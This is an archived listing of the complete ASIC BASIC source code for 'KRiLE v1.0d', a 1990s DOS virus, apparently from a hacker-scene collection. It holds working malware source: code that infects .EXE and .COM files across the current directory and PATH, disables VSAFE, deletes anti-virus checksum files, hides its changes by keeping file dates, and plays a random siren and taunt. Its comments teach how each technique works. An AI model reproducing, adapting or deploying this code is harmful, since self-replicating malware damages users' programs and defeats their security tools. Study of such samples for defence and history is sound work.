home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / KRILE1D.ZIP / SOURCE.ZIP / KRILE.ASI < prev    next >
Text File  |  1997-12-09  |  12KB  |  582 lines

  1. rem KRiLE v1.0d written by RAiD for [SLAM]
  2. rem Smaller then v1.0c, but uses the same techniques
  3. rem anti-nav and anti tbfile appear to work somewhat
  4. rem room for improvement there
  5.  
  6. dim virus_data(2752)
  7. dim host_data(2752)
  8. call sub"Criterror!"
  9. randomize
  10. virus_size=5504
  11. virus_size&=5504&
  12. virus_sig$="1234"
  13. exe$="*.exe"
  14. com$="*.com"
  15. killfil1$="anti-vir.dat"
  16. killfil2$="chklist.ms"
  17. killfil3$="chklist.cps"
  18. krsig1$="■KRiLE■ v1.0d - Feel my pain asshole! (c) by RAiD UsA [SLAM]97"
  19. notouch$="Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw"
  20. vsafe_stats=0
  21. gosub vsafe_toggle:
  22. vsafe_stats=cx
  23.  
  24. call sub "exename" hostname$
  25. yourparm$=command$
  26. yourparm$=ltrim$(yourparm$)
  27. yourparm$=rtrim$(yourparm$)
  28. yourparm$=" "+yourparm$
  29.  
  30. gosub chksum_die:
  31. filename$=hostname$
  32. hostsize&=filelen(filename$)
  33. gosub get_attr:
  34. oldattr=newattr
  35. newattr=0
  36. gosub set_attr:
  37. gosub open_file:
  38. bytesize=virus_size
  39. dx=varptr(virus_data(0))
  40. gosub read_file:
  41. gosub close_file:
  42. newattr=oldattr
  43. gosub set_attr:
  44.  
  45. rem Ok, we have an image loaded, let's scan the current directory
  46. rem for use-able hosts. We also deal with any checksum files during
  47. rem this scan.
  48. gosub cur_dir:
  49.  
  50.  
  51. rem Now, were going to find out just how many paths there are
  52. gosub path_search:
  53. rem We are now ready to proceed path infection, after we make one
  54. rem safety check. (this prevents Division By zero errors)
  55. rem Before setting, Ensure loc does *not* equal 0. If by some sad-chance
  56. rem it does, We do *not* even attempt path infection!
  57. target=1
  58. range=loc
  59. if range=0 then
  60. virupath$=""
  61. goto done:
  62. endif
  63. gosub rand_num:
  64. total=a
  65.  
  66. rem If we made it this far, We have determined how many paths
  67. rem There actually are. and how many we will infect. Now, let's
  68. rem decide which ones of that total are to be infected.
  69. exit=0
  70. tally=-1
  71. while exit=0
  72. tally=tally+1
  73. range=loc
  74. gosub rand_num:
  75. n=a
  76. gosub path_infect:
  77. if tally=total then
  78. exit=1
  79. endif
  80. wend
  81.  
  82. done:
  83. target=0
  84. rem We're almost finished. Prepare the host for control passing.
  85. filename$=hostname$
  86. gosub hide_host:
  87. hostsize&=filelen(filename$)
  88. gosub get_attr:
  89. oldattr=newattr
  90. newattr=0
  91. gosub set_attr:
  92. gosub open_file:
  93. gosub get_fdt:
  94. hosttemp&=hostsize&-virus_size&
  95. move_way&=hosttemp&
  96. gosub move_file_pointer:
  97. bytesize=virus_size
  98. dx=varptr(host_data(0))
  99. gosub read_file:
  100. move_way&=0&
  101. gosub move_file_pointer:
  102. gosub cypher_host:
  103. dx=varptr(host_data(0))
  104. bytesize=virus_size
  105. gosub write_file:
  106. gosub set_fdt:
  107. gosub close_file:
  108. gosub strip_garbage:
  109. newattr=oldattr
  110. gosub set_attr:
  111. gosub res_host:
  112. rem Ok, siren anyone?
  113. rem a value of 256 ensures the siren is rare, which means this
  114. rem virus won't be detected right off the bat. No sense calling
  115. rem attention to ourselves too soon. :)
  116. range=256
  117. gosub rand_num:
  118. if a=19 then
  119. gosub siren:
  120. endif
  121.  
  122. call hostname$, yourparm$
  123.  
  124. r=vsafe_stats
  125. vsafe_stats=0
  126. gosub vsafe_toggle:
  127. vsafe_stats=r
  128. filename$=hostname$
  129.  
  130.  
  131. rem Let's make sure we don't accidently infect the host a second
  132. rem time. Happens rarely, but a good safety precaution anyways.
  133. rem Besides, doesn't eat much more code space.
  134. gosub infect_check:
  135. if infected=0 then
  136. gosub lets_infect:
  137. endif
  138.  
  139. rem Check the current directory again, Host might have created
  140. rem some new targets. pkunzip.exe being a good example. Note: This
  141. rem allows my virus to resemble TSR based viruses somewhat. <G>
  142. gosub cur_dir:
  143.  
  144. gosub vsafe_toggle:
  145.  
  146. rem The range was already set at 256, we'll leave it
  147. rem as it is. and get us a number :)
  148. range=256
  149. gosub rand_num:
  150.  
  151. if a=19 then
  152. gosub say_hi:
  153. endif
  154.  
  155. rem The end has been reached, return to operating system or calling
  156. rem program.
  157. end
  158.  
  159. start_virus:
  160. errcode=0
  161. attr=6
  162. kewl=0
  163.  
  164. rem Setup rand-generator range to 4, and decide how many files
  165. rem were going to infect for this run :)
  166. range=2
  167. gosub rand_num:
  168. virii=a
  169.  
  170. rem Ok, decision made, let's infect!
  171.        CALL SUB "FindFirstF" proc$ Attr ErrCode
  172.        WHILE ErrCode = 0
  173.           CALL SUB "GetNameF" FileName$
  174.   filename$=virupath$+filename$
  175.   gosub infect_check:
  176. if infected=0 then
  177. gosub lets_infect:
  178. endif
  179.          CALL SUB "FindNextF" ErrCode
  180.          if kewl=virii then
  181.          errcode=1
  182.          endif
  183.    WEND
  184.  
  185. return
  186.  
  187. Lets_infect:
  188. rem Lets put our virus into the file shall we? :)
  189. gosub hide_host:
  190. hostsize&=filelen(filename$)
  191. gosub get_attr:
  192. oldattr=newattr
  193. newattr=0
  194. gosub set_attr:
  195. gosub open_file:
  196. gosub get_fdt:
  197. bytesize=virus_size
  198. dx=varptr(host_data(0))
  199. gosub read_file:
  200. move_way&=0&
  201. gosub move_file_pointer:
  202. bytesize=virus_size
  203. dx=varptr(virus_data(0))
  204. gosub write_file:
  205. move_way&=hostsize&
  206. gosub move_file_pointer:
  207. gosub cypher_host:
  208. dx=varptr(host_data(0))
  209. bytesize=virus_size
  210. gosub write_file:
  211. gosub set_fdt:
  212. kewl=kewl+1
  213. gosub close_file:
  214. newattr=oldattr
  215. gosub set_attr:
  216. gosub res_host:
  217. return
  218.  
  219. rem miscallenous file i/o routines beyond this point. Boring to  look
  220. rem at.:)
  221.  
  222. get_attr:
  223. AX = &HEX4300
  224. DX = VARPTR(Filename$)
  225. CX = NewAttr
  226. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  227. return
  228.  
  229. set_attr:
  230. AX = &HEX4301
  231. DX = VARPTR(Filename$)
  232. CX = NewAttr
  233. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  234. return
  235.  
  236. vsafe_toggle:
  237. ax=&hexfa02
  238. dx=&hex5945
  239. bx=vsafe_stats
  240. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  241. return
  242.  
  243. get_fdt:
  244. if file_handle>4 then
  245. AX=&HEX5700
  246. BX=FILE_HANDLE
  247. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  248. NEWDATE=CX
  249. NEWTIME=DX
  250. endif
  251. RETURN
  252.  
  253. set_fdt:
  254. if file_handle>4 then
  255. AX=&HEX5701
  256. BX=FILE_HANDLE
  257. CX=NEWDATE
  258. DX=NEWTIME
  259. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  260. endif
  261. RETURN
  262.  
  263. rem DOS int file i/o driven code beyond this point :)
  264.  
  265. rem ax=&hex3d00
  266. rem ax opens file for read in this mode :-)
  267. rem ax=&hex3d01
  268. rem ax opens file for write in this mode :-)
  269. rem ax=&hex3d02
  270. rem ax opens file for read/write access :) hehehe
  271.  
  272. open_file:
  273. AX=&HEX3D02
  274. DX = VARPTR(Filename$)
  275. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  276. file_handle=ax
  277. return
  278.  
  279. write_file:
  280. rem this routine will write selected bytes at whatever current position
  281. rem from whatever buffer i choose into the file.
  282. rem if the routine did not write all data ax will not equal cx upon
  283. rem return from int call.
  284. rem define dx register before calling this routine to point to the
  285. rem memory address of the buffer area you want to write from. like so:
  286. rem dx=varptr(buffer(0))
  287. rem cx is how many bytes to write :)
  288. if file_handle>4 then
  289. ax=&hex4000
  290. bx=file_handle
  291. cx=bytesize
  292. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  293. byteswritten=ax
  294. endif
  295. return
  296.  
  297. read_file:
  298. rem as the name implies, it reads bytes into a buffer. :-)
  299. rem as with write_file, you need to predefine the dx register for the
  300. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  301. rem if you don't, this routine will not work, or will overwrite some
  302. rem other section of memory. And for virus coding, this is very bad! :)
  303. rem cx register is how many bytes to read :)
  304. if file_handle>4 then
  305. ax=&hex3f00
  306. bx=file_handle
  307. cx=bytesize
  308. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  309. bytesread=ax
  310. endif
  311. return
  312.  
  313. close_file:
  314. rem This routine will close the selected file.
  315. rem do not try to close handle 2, very nasty... :-(
  316. if file_handle>4 then
  317. ax=&hex3e00
  318. bx=file_handle
  319. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  320. endif
  321. return
  322.  
  323. move_file_pointer:
  324. rem Moves file pointer from start of file to whereever I wanna go
  325. rem Routine called is patched(hacked) from asilib.lib
  326. method=0
  327. call sub "fseek" file_handle, move_way&, method, errcode
  328. return
  329.  
  330. cypher_host:
  331. y=varptr(host_data(0))
  332. z=y+virus_size
  333. for x=y to z
  334. a=peek(x)
  335. ax=a
  336. bx=x
  337. rem Shrug, asic has no built in XOR routine, so we
  338. rem chat with the CPU ourselves to XOR it :)
  339. SETREGS (AX,BX,NA,NA,NA,NA,NA,NA,NA)
  340. CODE &HEX31, &HEXD8
  341. GETREGS (AX,NA,NA,NA,NA,NA,NA,NA,NA)
  342. rem ENd of cpu-xor chat
  343. poke x,ax
  344. next x
  345. return
  346.  
  347. infect_check:
  348. rem routine checks for files to avoid, size validation and to make
  349. rem sure the file is not already infected. If any of the routines
  350. rem return infected=1 then the rest of the file  i/o does not
  351. rem occur (saves a few miliseconds i/o time)
  352. infected=0
  353. gosub do_not_touch:
  354. if infected=0 then
  355. gosub size_check:
  356. endif
  357. if infected=0 then
  358. gosub prev_check:
  359. endif
  360. return
  361.  
  362. prev_check:
  363. rem Is this file already infected?
  364. gosub get_attr:
  365. newattr=oldattr
  366. newattr=0
  367. gosub set_attr:
  368. sig$="    "
  369. gosub open_file:
  370. move_way&=28
  371. gosub move_file_pointer:
  372. dx=varptr(sig$)
  373. bytesize=4
  374. gosub read_file:
  375. gosub close_file:
  376. newattr=oldattr
  377. gosub set_attr:
  378. if sig$=virus_sig$ then
  379. infected=1
  380. endif
  381. if file_handle<5 then
  382. rem We couldn't open the damn file to check, assume it is indeed
  383. rem infected. and let's not fool with it. :)
  384. infected=1
  385. endif
  386. return
  387.  
  388. strip_garbage:
  389. rem This routine quickly scrapes off the appended data
  390. rem we wrote during the infection process
  391. gosub open_file:
  392. move_way&=hosttemp&
  393. gosub move_file_pointer:
  394. dx=0
  395. bytesize=0
  396. gosub write_file:
  397. gosub set_fdt:
  398. gosub close_file:
  399. return
  400.  
  401. do_not_touch:
  402. rem Make sure the following files are NOT infected or
  403. rem otherwise tampered with.  This routine actually
  404. rem seperates the filename from its path and extension
  405. rem then proceeds to compare it.
  406. a$=filename$
  407. b=len(a$)
  408. b=b-4
  409. b$=left$(a$,b)
  410. b=len(b$)
  411. d=varptr(b$)
  412. c=d+b
  413. e=-1
  414. exit=0
  415. while exit=0
  416. a=peek(c)
  417. e$=chr$(a)
  418. if e$="\" then
  419. exit=1
  420. else
  421. e=e+1
  422. c=c-1
  423. endif
  424. wend
  425. file_name$=right$(b$,e)
  426. file_name$=ucase$(file_name$)
  427. notouch$=ucase$(notouch$)
  428. b=instr(notouch$,file_name$)
  429. if b>0 then
  430. infected=1
  431. endif
  432. return
  433.  
  434. size_check:
  435. rem make sure the target file is larger then our virus
  436. rem if it's not, we must not bother to infect it.
  437. a&=filelen(filename$)
  438. if a&<virus_size& then
  439. rem file is  too small
  440. infected=1
  441. endif
  442. return
  443.  
  444. chksum_die:
  445. rem this kills chksum type files with a few simple calls
  446. rem setting toast to killfil1$ 2 and 3 respectively
  447. rem also cuts down on virus size.
  448. ar$=filename$
  449. rem above code stores original filename
  450. toast$=killfil1$
  451. gosub waste:
  452. toast$=killfil2$
  453. gosub waste:
  454. toast$=killfil3$
  455. gosub waste:
  456. filename$=ar$
  457. return
  458.  
  459. say_hi:
  460. rem say our greeting and return to calling routine.
  461.  
  462. print krsig1$
  463.  
  464. RETURN
  465.  
  466. siren:
  467. rem muahahaha, Siren sounds :-)
  468. siren=1
  469. gosub siren_out:
  470. siren=0
  471. gosub siren_out:
  472. siren=1
  473. gosub siren_out:
  474. siren=0
  475. gosub siren_out:
  476. return
  477.  
  478. siren_out:
  479. rem if were to go up, set siren=1 else
  480. rem set siren=0 to go down :)
  481. for x=1 to 2000
  482. if siren=1 then
  483. z=x
  484. else
  485. z=2000
  486. z=z-x
  487. endif
  488. sound z,1
  489. next x
  490. return
  491.  
  492. cur_dir:
  493. rem routine searches for and infects files in current directory
  494. rem this routine is used 2 times, so I just decided to make it a
  495. rem subroutine to save bytes.
  496. virupath$=""
  497. gosub chksum_die:
  498. proc$=exe$
  499. gosub start_virus:
  500. proc$=com$
  501. gosub start_virus:
  502. return
  503.  
  504. waste:
  505. rem routine called by chksum_die
  506. rem removes all attributes and deletes requested file.
  507. filename$=virupath$
  508. filename$=filename$+toast$
  509. newattr=0
  510. gosub set_attr:
  511. kill filename$
  512. return
  513.  
  514. rand_num:
  515. rem gets us a random number, of the selected range
  516. rem settable with the 'range' value. Saves bytes by only
  517. rem coding this part once and calling it on occasion for various
  518. rem fun things. Muahahaha
  519. a=rnd(0)
  520. a=a mod range
  521. if target=0 then
  522. a=a+1
  523. endif
  524. return
  525.  
  526. path_search:
  527. rem This routine tallys total  paths defined
  528. rem for later random processing.
  529. exit=0
  530. loc=0
  531. while exit=0
  532. call sub "path",loc,virupath$
  533. if virupath$="" then
  534. exit=1
  535. else
  536. loc=loc+1
  537. endif
  538. wend
  539. return
  540.  
  541. path_infect:
  542. rem routine proceeds to infect selected path given via the 'n' variable
  543. rem Notice, another safety check. This routine will abort if the
  544. rem selected path does not exist.
  545.           call sub "path", n, virupath$
  546.           i=LEN(virupath$)
  547.           if i>0 then
  548.           b$=right$(virupath$,1)
  549.         if b$<>"\" then
  550.         virupath$=virupath$+"\"
  551.         endif
  552.         rem Before we infect, trash checksum files
  553.         gosub chksum_die:
  554.         proc$=virupath$+exe$
  555.         gosub start_virus:
  556.         proc$=virupath$+com$
  557.         gosub start_virus:
  558. endif
  559. return
  560.  
  561. hide_host:
  562. rem host_hide module
  563. oldname$=filename$
  564. b=varptr(filename$)
  565. c=len(filename$)
  566. d=b+c
  567. b=d-3
  568. d=d-1
  569. for x=b to d
  570. e=rnd(0)
  571. e=e mod 36
  572. e=e+140
  573. poke x,e
  574. next x
  575. rem Now the filename has been changed, Lets rename it real quick :)
  576. name oldname$ as filename$
  577. return
  578.  
  579. res_host:
  580. name filename$ as oldname$
  581. return
  582.